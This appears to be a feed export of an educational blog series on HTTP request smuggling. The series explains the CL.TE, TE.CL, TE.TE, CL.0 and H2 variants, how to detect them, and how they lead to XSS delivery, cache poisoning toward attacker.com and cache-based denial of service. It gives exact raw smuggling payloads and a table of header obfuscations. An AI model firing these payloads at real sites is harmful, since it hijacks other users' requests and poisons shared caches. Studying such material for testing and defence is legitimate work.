<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/689a3936-6dfe-48e4-b842-250a45bdf434.png" alt="" style="display:block;margin:0 auto" />

<p>The frontend trusts <code>Content-Length</code> and forwards the entire request to the backend. The backend, however, trusts <code>Transfer-Encoding: chunked</code> and stops parsing at the terminating <code>0\r\n\r\n</code>, treating the original request as complete. It returns a normal <code>200 OK</code> to the attacker while leaving the embedded <code>/search</code> request buffered on the reused backend connection — its header block still open on the dangling <code>X-Ignore</code> header.</p>
<p><strong>Request 2 — Executing JavaScript in the victim's browser</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/116f5882-4e5e-4ff6-992a-fbe81fdb6835.png" alt="" style="display:block;margin:0 auto" />

<p>When another user later sends a legitimate request, its request line is absorbed by the dangling <code>X-Ignore</code> header and the backend processes the buffered request:</p>
<pre><code class="language-plaintext">GET /search?q=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1
Host: example.com
</code></pre>
<p>The victim receives a page containing the reflected XSS payload even though they never clicked the malicious URL.</p>
<p>The attack changes the delivery mechanism entirely. Instead of relying on social engineering, the attacker abuses HRS to have the vulnerable response served automatically to unrelated users.</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>How it works</th>
<th>User interaction</th>
</tr>
</thead>
<tbody><tr>
<td>Reflected XSS</td>
<td>Attacker sends a malicious URL</td>
<td><em>Malicious-link click</em> Required</td>
</tr>
<tr>
<td>DOM XSS</td>
<td>Payload supplied through client-side data</td>
<td><em>Malicious-link click</em> Required</td>
</tr>
<tr>
<td>XSS via Request Smuggling</td>
<td>Payload delivered through a poisoned request queue</td>
<td><em><strong>No</strong></em> <em>malicious-link click Required</em></td>
</tr>
</tbody></table>
<p>In other words, Request Smuggling does not create a new XSS vulnerability — it amplifies an existing one, making the attack behave similarly to stored XSS and significantly increasing its reliability and impact.</p>
<h2>Attacks with Mass Impact</h2>
<p><em>Normal browsing triggers the poisoned resource</em></p>
<hr />
<h3>Web cache poisoning</h3>
<hr />
<h4>The attack concept</h4>
<p>Response Queue Poisoning misroutes one response to whoever holds the connection next. Point that same off-by-one at a caching frontend and the misrouted response is no longer transient — it gets stored. Every user who later requests the poisoned URL is served the attacker's response straight from cache, with no smuggling on their end and nothing unusual to do. One request poisons the entry; the cache handles distribution.</p>
<p>The technique needs three things:</p>
<ul>
<li><p>A request-smuggling desync (CL.TE below);</p>
</li>
<li><p>A way to make the backend emit an attacker-controlled response, most commonly an open redirect driven by the <code>Host</code> header, so a request to an internal endpoint returns a 3xx pointing at the attacker's origin.</p>
</li>
<li><p>A cacheable resource that ordinary users request — a static asset like <code>/resources/js/tracking.js</code> is ideal.</p>
</li>
</ul>
<p>Static assets are attractive targets because they are requested by many users, are frequently cached, and are often shared across large portions of the site. Poisoning a single asset can therefore affect every page that references it.</p>
<blockquote>
<p>Note: The visitor never requests <code>tracking.js</code> directly. Their browser requests it automatically while rendering the page, which is why poisoning a widely used static asset can affect large numbers of users with a single cache entry. For instance:</p>
</blockquote>
<blockquote>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;title&gt;Example Application&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

    &lt;h1&gt;HomePage&lt;/h1&gt;

    &lt;script src="/resources/js/tracking.js"&gt;&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;
</code></pre>
</blockquote>
<h4>Crafting the payload (CL.TE)</h4>
<pre><code class="language-text">POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 61\r\n
\r\n
0\r\n
\r\n
GET /post/next?postId=3 HTTP/1.1\r\n
Host: attacker.com\r\n
\r\n
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-text">0\r\n                                →  3
\r\n                                 →  2
GET /post/next?postId=3 HTTP/1.1\r\n → 34
Host: attacker.com\r\n               → 20
\r\n                                 →  2
= 61 bytes
</code></pre>
</blockquote>
<p><code>/post/next?postId=3</code> is assumed to issue a redirect built from the <code>Host</code> header — the open redirect the poison relies on.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d0851788-144a-4fea-8f55-ca27f4fbb03f.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Request 1 — Poisoning the queue</strong></p>
<p>The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled <code>GET /post/next?postId=3</code> queued on the connection, ready to return a <code>302</code> redirect to <a href="http://attacker.com"><code>attacker.com</code></a>.</p>
<p><strong>Request 2 — Caching the poisoned response</strong></p>
<p>The attacker requests <code>/resources/js/tracking.js</code>. The backend answers the queued smuggled request first, and the frontend mistakenly caches the resulting <code>302</code> redirect under <code>/resources/js/tracking.js</code> instead of the real script.</p>
<p><strong>Victims</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d1d70f5b-fb1e-4ea7-ba87-2eaaf4560539.png" alt="" style="display:block;margin:0 auto" />

<p>From here, every visitor who loads a page that pulls <code>/resources/js/tracking.js</code> gets the cached <code>302</code> and is redirected to <a href="http://attacker.com"><code>attacker.com</code></a>, where the attacker can serve arbitrary content (e.g: malicious javascript).</p>
<p>Unlike a single-victim desync, one poison request affects every user who requests the resource until the cache entry expires. The result is effectively stored XSS: attacker-controlled content is served to ordinary users automatically, except the payload lives in the cache rather than the application's data store.</p>
<h3>Denial of service</h3>
<hr />
<p>This attack is simply web cache poisoning with a cacheable error instead of a malicious redirect. The frontend caches the error response under a legitimate resource, causing every user who requests that resource to receive the cached failure until the entry expires.</p>
<p><strong>Crafting the payload (CL.TE)</strong></p>
<pre><code class="language-text">POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 53\r\n
\r\n
0\r\n
\r\n
GET /nonexistent HTTP/1.1\r\n
Host: example.com\r\n
\r\n
</code></pre>
<p>The smuggled <code>GET /nonexistent</code> resolves to nothing, so the backend answers <code>404 Not Found</code> .</p>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-text">0\r\n                          →  3
\r\n                           →  2
GET /nonexistent HTTP/1.1\r\n  → 27
Host: example.com\r\n          → 19
\r\n                           →  2
= 53 bytes
</code></pre>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a781f62e-2eb7-400e-b9e7-038cb42609d8.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Request 1 — Poisoning the queue with an error</strong></p>
<p>The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled <code>GET /nonexistent</code> queued on the connection, ready to return a <code>404 Not Found</code>.</p>
<p><strong>Request 2 — Caching the error against a live asset</strong></p>
<p>The attacker requests <code>/resources/js/app.js</code>. Instead of returning the script, the backend answers the queued <code>GET /nonexistent</code> first. The frontend misattributes the <code>404</code> to <code>/resources/js/app.js</code> and caches it under that URL.</p>
<p><strong>Victims</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/7a978b3a-0a59-4cce-a59c-12cb89adf61a.png" alt="" style="display:block;margin:0 auto" />

<p>From here, every visitor who loads a page that pulls <code>/resources/js/app.js</code> is served the cached <code>404</code>. The script never loads, and every page that depends on it breaks — for all users, until the entry expires.</p>
<p>If <code>404 Not Found</code> isn't cached, the same technique works with any cacheable error the backend can be induced to return, such as <code>414</code>, <code>405</code>, <code>410</code>, or <code>501</code>, as well as CDN-specific behaviors exploited by CPDoS. The impact depends on the target: poison a shared script or API response and every dependent page breaks.</p>
<p>Caching isn't required, either. A persistent desync can continuously misroute responses on reused backend connections, causing users to receive incorrect responses and degrading service even without a cache.</p>
<p>As with the other attacks, the same principle applies across all desync variants; only the trigger differs.</p>
<h2>Summary</h2>
<hr />
<p>Across this series we've gone from why frontends and backends disagree on request boundaries, through the six variants that create those disagreements, to what an attacker can actually do with them: bypassing frontend access controls, revealing hidden request rewriting, stealing another user's session, poisoning the response queue to capture sensitive responses, turning a reflected XSS into something that behaves like stored XSS, poisoning a shared cache to serve attacker-controlled content to every visitor, and taking resources offline by caching errors against them.</p>
<p>These examples are only a sample of what's possible. Throughout this article we combined request smuggling with a handful of familiar flaws—XSS, Host header injection, open redirects, and cache behavior—but the same desynchronization primitive can amplify many other vulnerabilities. Any functionality that depends on request boundaries, routing, authentication, caching, or trust between frontend and backend components can become a target.</p>
<p>The common thread is always the same: a disagreement about where one request ends and the next begins. Once an attacker gains control over that boundary, they gain influence over traffic that was never meant for them. Everything else—the stolen session, the poisoned cache, the XSS delivery mechanism, the access-control bypass—is simply a consequence of how that primitive interacts with the rest of the application.</p>
]]></content:encoded></item><item><title><![CDATA[HTTP Request Smuggling Part 3 ]]></title><description><![CDATA[Introduction

Every request smuggling variant can be detected using the same underlying approach. First, create a disagreement about where a request ends. Then look for evidence that the leftover byte]]></description><link>https://blog.cain.tech/http-request-smuggling-part-3</link><guid isPermaLink="true">https://blog.cain.tech/http-request-smuggling-part-3</guid><dc:creator><![CDATA[Olivia Pace]]></dc:creator><pubDate>Tue, 14 Jul 2026 13:36:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/fa12c42d-2e5c-4330-9dab-4bdbc84aede8.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<hr />
<p>Every request smuggling variant can be detected using the same underlying approach. First, create a disagreement about where a request ends. Then look for evidence that the leftover bytes were interpreted as part of a subsequent request.</p>
<p>That evidence usually comes from one of two sources:</p>
<ul>
<li><p>Timeout-based probes, where one component waits for bytes that another component believes belong elsewhere.</p>
</li>
<li><p>Differential probes, where the desynchronization produces an observable change in application behavior.</p>
</li>
</ul>
<h2><strong>Timeout-Based</strong> Probe</h2>
<hr />
<p>Craft a request that causes one server to wait for bytes that never arrive. On a vulnerable target, the connection hangs until the socket times out. On a non-vulnerable target, the request completes normally.</p>
<p>This is usually the safest initial probe because a timeout does not poison the request queue. However, it is generally ineffective against <strong>CL.0</strong> vulnerabilities.</p>
<blockquote>
<p><strong>Note:</strong> A timeout is strong evidence of desynchronization, but it is not definitive proof of request smuggling.</p>
</blockquote>
<h2><strong>Differential</strong> Probe</h2>
<hr />
<p>A timeout is only a hint; a corrupted response is stronger evidence.</p>
<p>If a parsing discrepancy causes part of one request to spill into the next, the backend may misinterpret the follow-up request and return an unexpected <strong>404 Not Found</strong>. Because the same request normally succeeds, a reproducible 404 can indicate that the connection has become desynchronized.</p>
<p>To keep testing reliable:</p>
<ul>
<li><p>Send the attack request and follow-up request on separate connections (except when testing CL.0).</p>
</li>
<li><p>Use the same path and parameters for both requests.</p>
</li>
<li><p>Repeat suspicious results to account for interference from normal traffic.</p>
</li>
<li><p>If another user's request appears corrupted, stop testing immediately.</p>
</li>
</ul>
<p>One important rule: always run the <strong>CL.TE</strong> timing probe before <strong>TE.CL</strong>. If the target is actually CL.TE-vulnerable, a TE.CL probe can interfere with legitimate traffic. Only escalate once CL.TE testing comes back clean.</p>
<h2><strong>CL.TE</strong> (frontend CL, backend TE)</h2>
<hr />
<h3><strong>Timeout-Based</strong> Probe</h3>
<p>The frontend trusts <code>Content-Length</code> and stops reading after four bytes. The backend trusts <code>Transfer-Encoding: chunked</code> and continues waiting for a complete chunked body. Because the terminating chunk never arrives, the connection hangs until timeout.</p>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/f9a1ca22-6de9-43bd-ad19-5bda84d9758f.png" alt="" style="display:block;margin:0 auto" />

<h3><strong>Differential</strong> Probe</h3>
<p>Once the timeout suggests a likely desynchronization, switch to a differential probe.</p>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 35\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-plaintext">0\r\n (3) 
+ \r\n (2) 
+ GET /404 HTTP/1.1\r\n (19) 
+ X-Ignore: X (11) 
= 35 bytes.
</code></pre>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/85dc2cfa-9e9d-4657-b39a-0f9c8e9ff364.png" alt="" style="display:block;margin:0 auto" />

<h2><strong>TE.CL</strong> (frontend TE, backend CL)</h2>
<hr />
<h3><strong>Timeout-Based</strong> Probe</h3>
<p>The frontend treats <code>0\r\n\r\n</code> as the end of the chunked body. The backend trusts <code>Content-Length: 6</code> and waits for one more byte that never arrives.</p>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/6cf2aea0-9671-4230-ad1f-68128d86551f.png" alt="" style="display:block;margin:0 auto" />

<h3><strong>Differential</strong> Probe</h3>
<p>Once the timeout suggests a likely desynchronization, switch to a differential probe.</p>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
2d\r\n
POST /404 HTTP/1.1\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-plaintext">POST /404 HTTP/1.1\r\n (20) 
+ Content-Length: 15\r\n (20) 
+ \r\n (2) 
+ x=1 (3) 
= 45 bytes (0x2d).
</code></pre>
</blockquote>
<h2>TE.TE — obfuscate the Transfer-Encoding header</h2>
<hr />
<p>Both servers understand chunked encoding, so a normal <code>Transfer-Encoding: chunked</code> header does not create a parsing discrepancy. To trigger desynchronization, the header must be obfuscated so that only one side recognizes it.</p>
<p>Test one obfuscation at a time.</p>
<table>
<thead>
<tr>
<th>Obfuscation</th>
<th>Example</th>
<th>Typical parser discrepancy</th>
</tr>
</thead>
<tbody><tr>
<td>Duplicate <code>Transfer-Encoding</code> headers</td>
<td><code>Transfer-Encoding: chunked \r\n Transfer-Encoding: cow</code></td>
<td>Different implementations apply different precedence rules when multiple <code>Transfer-Encoding</code> headers are present. One side may honor <code>chunked</code>, while the other uses <code>cow</code>, rejects it, and falls back to <code>Content-Length</code>.</td>
</tr>
<tr>
<td>Junk-prefixed value</td>
<td><code>Transfer-Encoding: xchunked</code></td>
<td>Some parsers perform loose matching and still recognize <code>chunked</code>; others reject the value and fall back to <code>Content-Length</code>.</td>
</tr>
<tr>
<td>Space before the colon</td>
<td><code>Transfer-Encoding : chunked</code></td>
<td>Some parsers normalize the header and accept it; stricter implementations reject it as malformed.</td>
</tr>
<tr>
<td>Tab after the colon</td>
<td><code>Transfer-Encoding:[tab]chunked</code></td>
<td>Different implementations apply different whitespace normalization rules when parsing header values.</td>
</tr>
<tr>
<td>Leading space before the header name</td>
<td><code>[space]Transfer-Encoding: chunked</code></td>
<td>Some parsers treat it as a valid header line; others interpret it as a continuation line or ignore it entirely.</td>
</tr>
<tr>
<td>Bare LF header injection</td>
<td><code>X: X[\n]Transfer-Encoding: chunked</code></td>
<td>Some parsers accept a lone LF as a line terminator, creating a new header; others require a proper CRLF sequence.</td>
</tr>
</tbody></table>
<p>Once an obfuscation causes only one component to recognize <code>Transfer-Encoding</code>, the situation effectively reduces to either <strong>CL.TE</strong> or <strong>TE.CL</strong>. From that point, the same timeout and differential probes apply.</p>
<h2>CL.0 — backend ignores the body</h2>
<hr />
<p>Some endpoints ignore <code>Content-Length</code> entirely and behave as though the request body were empty. Any bytes in the body remain on the socket and are interpreted as a new request.</p>
<p>Good hunting targets include:</p>
<ul>
<li><p>Static files</p>
</li>
<li><p>Server-level redirects</p>
</li>
<li><p>Error-generating endpoints</p>
</li>
</ul>
<p>The <code>Content-Length</code> header is syntactically valid and accurately describes the transmitted body. The vulnerability exists because the backend ignores it.</p>
<h3><strong>Differential</strong> Probe</h3>
<pre><code class="language-plaintext">POST /static-or-redirect-endpoint HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 39\r\n
\r\n
GET /hopefully404 HTTP/1.1\r\n
X-Ignore: X
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-plaintext">GET /hopefully404 HTTP/1.1\r\n (28) 
+ X-Ignore: X (11) 
= 39 bytes. 
</code></pre>
</blockquote>
<p>A reproducible 404 where a normal request would succeed is strong evidence that the backend ignored the body and interpreted it as a separate request.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/fb672a4b-9174-4b82-a304-a6dfa837a39a.png" alt="" style="display:block;margin:0 auto" />

<h2>H2.CL / H2.TE: The downgrade reintroduces the conflict</h2>
<hr />
<p>HTTP/2 uses binary framing and is not vulnerable to classic CL/TE ambiguity by itself. The problem appears when an intermediary downgrades HTTP/2 to HTTP/1.1 before forwarding the request.</p>
<h2>H2.CL</h2>
<hr />
<p>H2.CL depends on the downgrade implementation preserving an attacker-controlled <code>Content-Length</code> header during translation.</p>
<h3><strong>Timeout-Based Probe</strong></h3>
<p>Inject a <code>Content-Length</code> value larger than the actual body.</p>
<pre><code class="language-plaintext">POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 15\r\n
\r\n
(no body — empty DATA frame)
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/230d20c2-5853-4391-9f78-d27a1fcfc9ad.png" alt="" style="display:block;margin:0 auto" />

<p>The edge forwards a zero-byte body while preserving <code>Content-Length: 15</code>. The backend expects fifteen bytes, receives none, and waits until timeout.</p>
<p>Any value larger than the real body length works.</p>
<h3><strong>Differential</strong> Probe</h3>
<p>Inject <code>Content-Length: 0</code>.</p>
<pre><code class="language-plaintext">POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
X-Ignore: X
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/b63163f1-9dca-4f5d-8450-069ed3aa4384.png" alt="" style="display:block;margin:0 auto" />

<p>The backend treats the outer request as bodyless and parses the embedded request separately. If repeated testing consistently produces a 404, desynchronization is likely.</p>
<h2>H2.TE</h2>
<hr />
<p>If <code>Transfer-Encoding: chunked</code> survives the downgrade process, the situation effectively becomes <strong>CL.TE</strong>. The same timeout and differential probes apply, but they are delivered through an HTTP/2 request.</p>
<h3><strong>Timeout-Based</strong> Probe</h3>
<pre><code class="language-plaintext">POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
1\r\n
A\r\n
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/9552392a-d5d4-4b29-9235-33fa73a57ebb.png" alt="" style="display:block;margin:0 auto" />

<p>The backend honors <code>Transfer-Encoding</code>, reads the first chunk, and then waits for the terminating chunk that never arrives.</p>
<h3><strong>Differential</strong> Probe</h3>
<pre><code class="language-plaintext">POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/0e41c2ef-400d-45a4-a74e-5124f41c0c16.png" alt="" style="display:block;margin:0 auto" />

<p>The backend ends the body at the zero chunk and leaves the embedded request buffered for later processing, producing the same behavior observed in CL.TE.</p>
<p>If the edge strips a normal <code>Transfer-Encoding</code> header, you may need to smuggle it through a different header and rely on the downgrade process to reconstruct it.</p>
<pre><code class="language-plaintext">foo: bar\r\ntransfer-encoding: chunked
</code></pre>
<p>The edge sees only the <code>foo</code> header and allows it through. After downgrade, the embedded line break can split the value into two separate headers, recreating <code>Transfer-Encoding: chunked</code>.</p>
<p>The timeout and differential payloads remain unchanged.</p>
<h2>Summary</h2>
<hr />
<table>
<thead>
<tr>
<th>Variant</th>
<th>Primary Signal</th>
</tr>
</thead>
<tbody><tr>
<td>CL.TE</td>
<td>Timeout → 404</td>
</tr>
<tr>
<td>TE.CL</td>
<td>Timeout → 404</td>
</tr>
<tr>
<td>TE.TE</td>
<td>Same as CL.TE / TE.CL</td>
</tr>
<tr>
<td>CL.0</td>
<td>Reproducible 404</td>
</tr>
<tr>
<td>H2.CL</td>
<td>Timeout → 404</td>
</tr>
<tr>
<td>H2.TE</td>
<td>Same as CL.TE</td>
</tr>
</tbody></table>
<hr />
<p>HTTP request smuggling occurs when different components disagree about where a request ends and the next one begins. By deliberately triggering these parsing discrepancies and observing timeouts or differential responses, we can identify the major variants, including <strong>CL.TE</strong>, <strong>TE.CL</strong>, <strong>TE.TE</strong>, <strong>CL.0</strong>, <strong>H2.CL</strong>, and <strong>H2.TE</strong>.</p>
<p>In this post, we've focused on detection and confirmation. In the next post, we'll move on to exploitation techniques and explore the real-world impact of HTTP request smuggling vulnerabilities.</p>
]]></content:encoded></item><item><title><![CDATA[HTTP Request Smuggling Part 2]]></title><description><![CDATA[Introduction

HTTP Request Smuggling is not a single technique but a family of desynchronization attacks. The specific variant depends on the protocols spoken by the frontend and backend and on how ea]]></description><link>https://blog.cain.tech/http-request-smuggling-part-2</link><guid isPermaLink="true">https://blog.cain.tech/http-request-smuggling-part-2</guid><dc:creator><![CDATA[Olivia Pace]]></dc:creator><pubDate>Tue, 14 Jul 2026 13:36:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/acf83ebf-e089-4767-bb4a-963ac1c1d9fd.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<hr />
<p>HTTP Request Smuggling is not a single technique but a family of desynchronization attacks. The specific variant depends on the protocols spoken by the frontend and backend and on how each side determines where a request ends.</p>
<p>The following table summarizes the six variants covered in this post:</p>
<table>
<thead>
<tr>
<th>Variant</th>
<th>Frontend trusts</th>
<th>Backend trusts</th>
<th>Root cause</th>
</tr>
</thead>
<tbody><tr>
<td>CL.TE</td>
<td>Content-Length</td>
<td>Transfer-Encoding</td>
<td>Header disagreement</td>
</tr>
<tr>
<td>TE.CL</td>
<td>Transfer-Encoding</td>
<td>Content-Length</td>
<td>Header disagreement</td>
</tr>
<tr>
<td>TE.TE</td>
<td>Transfer-Encoding</td>
<td>Transfer-Encoding</td>
<td>Parsing disagreement</td>
</tr>
<tr>
<td>CL.0</td>
<td>Content-Length</td>
<td>No body</td>
<td>Parsing disagreement</td>
</tr>
<tr>
<td>H2.CL</td>
<td>HTTP/2 framing</td>
<td>Content-Length</td>
<td>Downgrade issue</td>
</tr>
<tr>
<td>H2.TE</td>
<td>HTTP/2 framing</td>
<td>Transfer-Encoding</td>
<td>Downgrade issue</td>
</tr>
</tbody></table>
<p>Those six variants fall into three broad categories:</p>
<ul>
<li><p><strong>Header disagreement</strong> (CL.TE, TE.CL) — the frontend and backend trust different framing mechanisms.</p>
</li>
<li><p><strong>Parsing disagreement</strong> (TE.TE, CL.0) — both sides receive the same request but interpret it differently.</p>
</li>
<li><p><strong>Downgrade issue</strong> (H2.CL, H2.TE) — ambiguity is introduced when an HTTP/2 request is translated into HTTP/1.1.</p>
</li>
</ul>
<p>One precondition underlies every variant: the frontend reuses a single keep-alive connection to the backend across multiple clients. That connection reuse is what lets attacker-controlled leftover bytes attach themselves to the next user's request.</p>
<p>Two rules to keep in mind before we start. In chunked encoding, every chunk-size line is written in hexadecimal, and it must match the exact byte length of the chunk data that follows. Likewise, any <code>Content-Length</code> the attacker sets must equal the exact number of body bytes actually sent — otherwise the frontend hangs waiting for bytes that never arrive. The examples below are byte-accurate so you can verify them yourself. Line endings are shown as <code>\r\n</code> for clarity.</p>
<blockquote>
<p>Note: In this post, we won't cover the 0.CL variant, but keep in mind that, although it may seem paradoxical, this type does exist and will have its own dedicated post on our blog.</p>
</blockquote>
<h2>Header disagreement: CL.TE</h2>
<hr />
<p>The frontend and the backend disagree on where the first request's body ends (CL vs. TE), so attacker-controlled bytes are left over and parsed as the start of the next user's request on a shared connection.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/ac22a909-3cb1-48e6-a7e0-faef42e1effe.png" alt="" style="display:block;margin:0 auto" />

<h3>Crafting the CL.TE payload</h3>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /otherPage HTTP/1.1\r\n
X-Ignore: x
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-plaintext">0\r\n                       →  3
\r\n                        →  2
GET /otherPage HTTP/1.1\r\n → 25
X-Ignore: x                → 11
= 41 bytes
</code></pre>
</blockquote>
<h3>Smuggling the hidden request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/244a85ed-9cc1-4dbc-be35-ea9e5ec9cf28.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>Client #1:</strong> the attacker crafts a raw request carrying both <code>Transfer-Encoding: chunked</code> and <code>Content-Length: 41</code>. The body hides a terminating chunk (<code>0\r\n\r\n</code>) followed by a second, smuggled request (<code>GET /otherPage…</code>).</p>
</li>
<li><p><strong>Frontend (HTTP/1.1, CL):</strong> it trusts <code>Content-Length</code> and forwards exactly 41 bytes as one opaque body, unaware those bytes contain a chunked structure and a smuggled request.</p>
</li>
<li><p><strong>Backend:</strong> it receives the full request, including the <code>Transfer-Encoding</code> header. It prioritizes <code>Transfer-Encoding</code>, parses the body as chunks, and stops at the terminating <code>0\r\n\r\n</code>, leaving the smuggled bytes unconsumed in its buffer.</p>
</li>
<li><p><strong>Response to Client #1:</strong> the backend answers the first (legitimate) request normally; the response travels back through the frontend to the attacker.</p>
</li>
<li><p><strong>Residual buffer:</strong> the leftover smuggled request is incomplete — its header block is never closed by a blank line — so the backend treats it as a still-open request and waits on the same reused connection for more bytes.</p>
</li>
</ul>
<h3>Next request hijacked</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/ef6f3ed8-3132-4d1b-9b96-96afd7d6373b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>Client #2:</strong> a second user sends a normal request, which the frontend will forward over that same pooled backend connection.</p>
</li>
<li><p><strong>Frontend:</strong> it forwards Client #2's legitimate request to the backend as usual.</p>
</li>
<li><p><strong>Backend:</strong> Client #2's request line is appended to the dangling header from the smuggled request instead of being parsed as a new request, so the backend finishes and processes the attacker's smuggled request — stealing the second user's turn.</p>
</li>
<li><p><strong>Response to Client #2:</strong> the backend's response (meant for <code>/otherPage</code>) is delivered by the frontend to the second user instead of their real response, enabling cache poisoning, session hijacking, and so on.</p>
</li>
</ul>
<h2>Header disagreement: TE.CL</h2>
<hr />
<p>The reverse case: the frontend honors <code>Transfer-Encoding</code> and validates the chunks, but the backend ignores TE and relies on <code>Content-Length</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/47926a15-e853-4f2f-a0c3-ce477a52da59.png" alt="" style="display:block;margin:0 auto" />

<h3>Crafting the TE.CL payload</h3>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
35\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x\r\n
0\r\n
\r\n
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-plaintext">GET /otherPage HTTP/1.1\r\n → 25
Content-Length: 20\r\n      → 20
\r\n                        →  2
test=x                     →  6
= 53 bytes = 0x35
</code></pre>
<p>And <code>Content-Length: 4</code> matches the four bytes of the chunk-size line itself (<code>3</code>, <code>5</code>, <code>\r</code>, <code>\n</code>).</p>
</blockquote>
<h3>Smuggling the hidden request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/b01af9a8-9934-4fd6-b7ca-4c17367cd4b9.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Client #1:</strong> the attacker crafts a request carrying both <code>Transfer-Encoding: chunked</code> and <code>Content-Length: 4</code>. Inside the chunked body, they hide a second request (<code>GET /otherPage...</code>).</p>
<p><strong>Frontend (HTTP/1.1, TE):</strong> it honors <code>Transfer-Encoding</code> and parses the body as a chunked message. The chunk size (<code>35</code>) tells it that 53 bytes of chunk data follow, so it treats everything up to the terminating <code>0\r\n\r\n</code> as part of a single request body and forwards it to the backend.</p>
<p><strong>Backend (HTTP/1.1, CL):</strong> it ignores <code>Transfer-Encoding</code> and instead relies on <code>Content-Length: 4</code>. After reading four body bytes (<code>35\r\n</code>), it considers the request complete and generates a response.</p>
<p><strong>Response to Client #1:</strong> the backend's response to the first request is returned through the frontend to the attacker as expected.</p>
<p><strong>Residual buffer:</strong> The leftover smuggled request is itself incomplete. It declares <code>Content-Length: 20</code> but provides only <code>test=x</code> (6 bytes) in its body. When the backend eventually parses that request, it still expects 14 additional body bytes and therefore keeps reading from the connection.</p>
<h3>Next request hijacked</h3>
